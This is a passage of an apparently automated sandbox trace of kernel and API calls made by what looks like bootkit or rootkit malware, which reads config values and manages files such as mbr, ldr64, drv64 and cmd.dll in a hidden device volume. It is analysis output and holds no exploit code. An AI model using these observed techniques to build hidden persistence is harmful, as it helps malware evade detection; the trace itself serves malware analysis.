_Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.919] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.919] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.919] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.919] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.919] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.919] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.919] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.920] KeLeaveCriticalRegion () [0120.920] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.920] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.920] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.920] KeEnterCriticalRegion () [0120.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.920] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.920] IdePortDispatch () returned 0x103 [0120.920] KeWaitForMutexObject () returned 0x0 [0120.920] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.920] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.920] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.920] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.920] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.920] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.920] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.920] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.920] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.920] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.920] KeLeaveCriticalRegion () [0120.920] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.920] ReleaseMutex (hMutex=0x100) returned 1 [0120.920] Sleep (dwMilliseconds=0x2bf20) [0120.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b46bad0, dwHighDateTime=0x1d24fa4)) [0120.927] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.927] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.927] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.927] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.927] KeEnterCriticalRegion () [0120.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.927] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.927] IdePortDispatch () returned 0x103 [0120.927] KeWaitForMutexObject () returned 0x0 [0120.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.927] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.927] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.927] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.927] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.927] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba02e0 [0120.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.927] KeLeaveCriticalRegion () [0120.927] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.927] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.927] KeEnterCriticalRegion () [0120.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.927] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.927] KeLeaveCriticalRegion () [0120.927] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.927] KeEnterCriticalRegion () [0120.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.927] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.928] IdePortDispatch () returned 0x103 [0120.928] KeWaitForMutexObject () returned 0x0 [0120.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.928] KeLeaveCriticalRegion () [0120.928] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.928] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.928] KeEnterCriticalRegion () [0120.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.928] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003526000 [0120.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.928] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.928] IdePortDispatch () returned 0x103 [0120.928] KeWaitForMutexObject () returned 0x0 [0120.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.928] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.928] IdePortDispatch () returned 0x103 [0120.928] KeWaitForMutexObject () returned 0x0 [0120.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.929] KeLeaveCriticalRegion () [0120.929] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.929] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.929] KeEnterCriticalRegion () [0120.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.929] KeLeaveCriticalRegion () [0120.929] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.929] KeEnterCriticalRegion () [0120.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.929] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.929] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.929] KeLeaveCriticalRegion () [0120.929] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.929] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.929] KeEnterCriticalRegion () [0120.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.929] ExFreePoolWithTag (P=0xfffffa8003ba02e0, Tag=0x0) [0120.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.929] KeLeaveCriticalRegion () [0120.929] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.929] ReleaseMutex (hMutex=0xf0) returned 1 [0120.929] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.930] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.930] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.930] KeEnterCriticalRegion () [0120.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.930] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.930] IdePortDispatch () returned 0x103 [0120.930] KeWaitForMutexObject () returned 0x0 [0120.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.930] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.930] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.930] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.930] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.930] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce0a0 [0120.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.930] KeLeaveCriticalRegion () [0120.930] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.930] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.930] KeEnterCriticalRegion () [0120.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.930] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.930] KeLeaveCriticalRegion () [0120.930] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.930] KeEnterCriticalRegion () [0120.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.930] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.930] IdePortDispatch () returned 0x103 [0120.930] KeWaitForMutexObject () returned 0x0 [0120.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.931] KeLeaveCriticalRegion () [0120.931] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.931] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.931] KeEnterCriticalRegion () [0120.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.931] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003527000 [0120.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.931] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.931] IdePortDispatch () returned 0x103 [0120.931] KeWaitForMutexObject () returned 0x0 [0120.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.931] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.931] IdePortDispatch () returned 0x103 [0120.931] KeWaitForMutexObject () returned 0x0 [0120.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.931] KeLeaveCriticalRegion () [0120.931] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.932] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.932] KeEnterCriticalRegion () [0120.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.932] KeLeaveCriticalRegion () [0120.932] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.932] KeEnterCriticalRegion () [0120.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.932] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.932] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.932] KeLeaveCriticalRegion () [0120.932] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.932] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.932] KeEnterCriticalRegion () [0120.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.932] ExFreePoolWithTag (P=0xfffffa8003bce0a0, Tag=0x0) [0120.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.932] KeLeaveCriticalRegion () [0120.932] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.932] ReleaseMutex (hMutex=0xf0) returned 1 [0120.932] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.932] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.932] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.932] KeEnterCriticalRegion () [0120.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.932] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.932] IdePortDispatch () returned 0x103 [0120.933] KeWaitForMutexObject () returned 0x0 [0120.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.933] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.933] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.933] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.933] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.933] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9cc0 [0120.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.933] KeLeaveCriticalRegion () [0120.933] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.933] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.933] KeEnterCriticalRegion () [0120.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.933] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.933] KeLeaveCriticalRegion () [0120.933] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.933] KeEnterCriticalRegion () [0120.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.933] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.933] IdePortDispatch () returned 0x103 [0120.933] KeWaitForMutexObject () returned 0x0 [0120.933] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.933] KeLeaveCriticalRegion () [0120.933] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.934] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.934] KeEnterCriticalRegion () [0120.934] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.934] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003528000 [0120.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.934] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.934] IdePortDispatch () returned 0x103 [0120.934] KeWaitForMutexObject () returned 0x0 [0120.934] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.934] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.934] IdePortDispatch () returned 0x103 [0120.934] KeWaitForMutexObject () returned 0x0 [0120.934] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.934] KeLeaveCriticalRegion () [0120.934] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.935] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.935] KeEnterCriticalRegion () [0120.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.935] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 